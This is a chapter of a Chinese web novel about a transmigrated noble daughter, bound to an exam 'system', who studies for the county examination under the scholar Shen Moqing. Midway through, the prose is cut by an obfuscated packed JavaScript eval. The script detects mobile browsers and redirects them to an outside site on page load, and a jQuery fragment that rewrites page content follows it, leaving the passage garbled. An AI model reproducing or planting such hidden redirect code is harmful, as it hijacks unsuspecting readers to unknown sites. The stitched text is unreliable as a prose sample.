距离尚书府不过十米,沈墨卿轻轻叫醒沉睡的少女。
“风眠,风眠。”“醒醒。”
“嗯?”姜知闲睁开惺忪睡眼,迷迷糊糊抬起头,看到近在咫尺的沈墨卿,惊了一下,双手推着他的背,整个人跳了下来。
“不好意思,睡着了。”姜知闲有些懊恼,都怪沈墨卿走路太稳,对一定是他走路太稳还没有声响,自己才会睡着的。
“快些进去吧,别让郡主和尚书等急了。”
对啊,她娘回来了。
完了,她娘生起气来可是动真格的,比那个只会虚张声势的爹要狠得多。
“好了,我不跟你说了,拜拜。”见姜知闲小跑着进入尚书府。
沈墨卿默默转身,踏上一个人的路程。
府中多是人已经休息,姜知闲每次这个时间回来都无人的发现,因此这次也没多在意,如往常一般毫无顾忌地朝着松风居走去。
屋内烛火影影绰绰,姜知闲关好门,边走边脱着衣裳。
忽而抬头,
虞向晚端正的坐在梨花桌前。
姜知闲心跳骤然停止,不自觉地屏住呼吸。
做好心理建设,她扬起大大的笑容,言语中带着雀跃,“娘亲!”
“这么晚您怎么在这?”
“你也知道很晚了?”虞向晚嗔怪地看了她一眼扭过头,不去看姜知闲的嬉皮笑脸,声音中透着严肃,“风眠,听你爹说,你日日夜归,究竟何事让你如此?”
姜知闲自身后按着虞向晚的双肩,搂在她背上,撒娇道,“哎呀,娘,您就别管了,风眠想要考科举,最近都在忙着此事。”
虞向晚眼中带着怀疑,一脸不信地看向姜知闲,“当真?”
“当然是真的,我想考状元呢。”姜知闲睁着眼睛说瞎话,如不是系统不断催促,怕是这辈子她也不会有考状元的想法。
“暂且信你。”虞向晚指尖轻点姜知闲鼻尖,被她哄得眼中带笑,突然想起什么,侧身将姜知闲拉到身前,看着她问道,"对了,你对那新科状元?"
“谁?沈墨卿吗?没有的事。”姜知闲脑袋摇得像拨浪鼓一样,一串话不过脑便说了出来,就差将人找来当面对质以证清白。
她本就拿沈墨卿当一下挡箭牌,心中哪有别的心思。
“那娘就放心了。”虞向晚神色有些奇怪,只说了句“娘的风眠要一直开开心心。”
不着边际的话听得姜知闲云里雾里,不过她也没放在心上。
姜知闲平日里便是个没心没肺且擅长刁难别人的乐天派,只要不危害到她的利益和生存,无论沈墨卿有什么问题,她也不会关心的。
“风眠早些睡下吧,娘先回去了。”
“好。”
“记得与人相处留心细节,你爹在朝中不参与党派之争,难免有心怀不轨之人。”虞向晚推开门,又回过头叮嘱一句。
“好的娘亲,您早些歇息。”姜知闲重重点头,扬起傻兮兮的笑容。
第二日天一早,姜知闲被系统的催促声吵醒。
【警告宿主,距离县试还有八日,以宿主现在的知识储备怕是要吊车尾。】
!!!
姜知闲在睡梦中突然被系统声音惊到,刷地睁开双眼,头顶是月白色帷幔,脑中系统聒噪的声音还在继续:
【宿主若不能完成县试榜首任务,系统将触发自动朗读模式。】
姜知闲:啧,知道了,知道了。
一个鲤鱼打挺从床上爬起来,姜知闲被扰了清梦,脸上黑沉沉。
桌上摆着净面的铜盆,她动作粗暴将盆弄得叮当响。
天冬一脸担忧,娘子今日很是烦躁,她没主动靠近,怕惹得姜知闲更生气。
温热的水浇在脸上,姜知闲清醒了一大半,她深深吸了口气,化为叹息,还有八天,对于她来说,县试所学的东西已经超过人类极限。
更何况还有乡试、会试、殿试……
贼老天究竟为何让她投胎到这本书里!
“娘子,沈郎君来了。”门外守着的丫鬟禀报。“方才得到通传,沈郎君已在书房。”
“好,让他等着吧。”姜知闲慢条斯理擦干脸上的水珠,张开双臂,天冬为她穿上层层叠叠的衣裳,今日穿的是橙红色锦裙,浅绿色外衫。
见姜知闲神情蔫蔫,兴致不高,天冬试探开口,“娘子今日怎得不开心吗?”
“嗯。”姜知闲轻轻叹息,“距离县试还有八日,我这心里没底。”她看着铜镜中尝试着咧开嘴微笑的自己,笑得比哭还难看。
“娘子,有沈郎君在,奴婢觉着这县试不成问题。”天冬一边手中挽着发髻,一遍滔滔不绝讲述沈墨卿的事迹:
“奴婢听闻沈郎君夺得状元之时年仅十五岁,那是何等天赋,陛下亲自考教,满朝文武都束手无策的岭南水患问题,沈郎君仅仅几句话便提出了对策。”
“哦?什么对策?”岭南水患她确实知晓,若沈墨卿当真如此惊才绝艳,为何十六年里,她从未注意到他?
自从得知穿书,绑定状元系统以来。沈墨卿开始频繁进入她的生活。
从前从未听天冬提起过沈墨卿,这个人的出现像是笼罩在迷雾之中,让人看不清,摸不透。
天冬还在絮絮叨叨讲解着沈墨卿的光荣事迹:“在岭南的虚灵河上建起堤坝,外接蓄水池,洪水泛滥时便将堤坝抬高蓄水,若连年大旱,便将蓄水池中的雨水放出浇灌农田。”
“那他真是很厉害了。”姜知闲穿越前便知此种办法,不过在千百年前听到同样的对策,不得不感叹古人的智慧。
“只不过……”天冬说到此处顿住,音声犹豫。
姜知闲自铜镜中望过去,澄黄的镜面反射着天冬眼中的不甘。
她笑问道:“怎么了?”
天冬话音中带着沮丧,声音闷闷道:“圣上虽然采纳了沈郎君的对策,功劳却都记在了顾太尉身上。”
“顾太尉?顾玄他爹?”姜知闲好奇心大增,眼睛微微睁大,泛着感兴趣的光芒,语速加快:“他沈墨卿的功劳怎会被太尉抢走?”
“娘子,这您有所不知,整个长安城内的权贵,除了您对朝堂致之事漠不关心,怕是九成的人都知晓顾太尉是沈郎君的义父。”
义父?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362618|183760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
既是义父不偏帮义子就算了,还要抢人家功劳,姜知闲心中唏嘘,沈墨卿还挺倒霉的。
“圣上不知此事吗?”圣上是她表舅,以她的了解,圣上不会任由他人蒙蔽的。
天冬接着道:“自然知晓,满朝文武心照不宣,沈郎君都没说什么,况且顾太尉权倾朝野,众人也只敢在背后议论。”
整理好发髻,姜知闲站起身,手指曲起轻轻敲了天冬额头一下,告诫道:“你个小妮子也不知从哪听来这些话,切记不可听信传言。”
“娘子——”天冬委屈地扁扁嘴。
“好了,娘子我这就去会会沈郎君。”姜知闲手指轻抚天冬的头顶,看着天冬一脸担忧,安抚道:“放心,我又不会将沈墨卿吃了。”
吱呀一声轻响,姜知闲推开书房门,书墨香气扑面而来。
书房之中多是姜尚书收藏的字画,以及经史古籍。
姜知闲不喜这些文邹邹的东西,从小到大踏进书房的次数两只手都数的过来。
沈墨卿手持一卷书,端正地坐在黑檀木椅上,抬起头的瞬间,窗边一缕阳光刚好打在他的侧脸上,挺翘的鼻梁形成阴影,如同平地山丘。
沈墨卿修长手指放松,离开书籍,起身作揖,声音淡淡:“风眠娘子。”
不知是不是受了天冬那些话的影响,姜知闲今日瞧着沈墨卿倒没有往日那般不顺眼。
“沈郎君。”姜知闲服了服身回礼。
沈墨卿淡笑,“距离县试仅剩八日,在下特地制定了计划,只要风眠娘子按照计划温习,想来县试应当不成问题。”
沈墨卿拿起方才放在几案上的书籍,手指轻轻翻着,发出沙沙的纸张声,伴随着他和煦的话音:“县试设有三项内容,《经文》、《律赋》、《大雍史》,其中短期内最容易掌握的是《大雍史》。”
他扬了扬手中的书籍,娓娓道来:“将此书中内容记下,便有四成把握夺得榜首……”
姜知闲看向他手中那本三指厚的书,眼皮一翻想要直接仰倒过去。
“沈郎君是说笑呢吧?”尾音上扬,眼睛在沈墨卿与书籍之间流转,眼中流露出不可置信。
“将《大雍史》记下后,掌握大雍基本事迹,《律赋》便也有了依据,可结合开国以来国策、战役等抒发胸臆……”沈墨卿没有被话音打断,依旧稳稳阐述。
姜知闲的老实不过维持了一炷香的时间,便开始原形毕露。
抗议道:“我不想学了。”
“《经文》想必跟着姜尚书耳濡目染能略微掌握一二,待在下回去整理一份大概会考到的范围,风眠娘子只需记下便可,这几日的重点便是将《大雍史》熟记……”
“哎哎哎,沈墨卿……”姜知闲被念叨的头疼,扑身过去,纤细手指捂住那还在蠕动的浅淡的嘴唇。
两人具是一楞。
扑通——扑通——
寂静的书房中,姜知闲耳间传来自己的心跳声,如同擂鼓。
微凉的手指触碰到温热的唇,姜知闲似是被烫到了一般,猛然收回手向后退了几步。
不自在的低头,将手背在身后。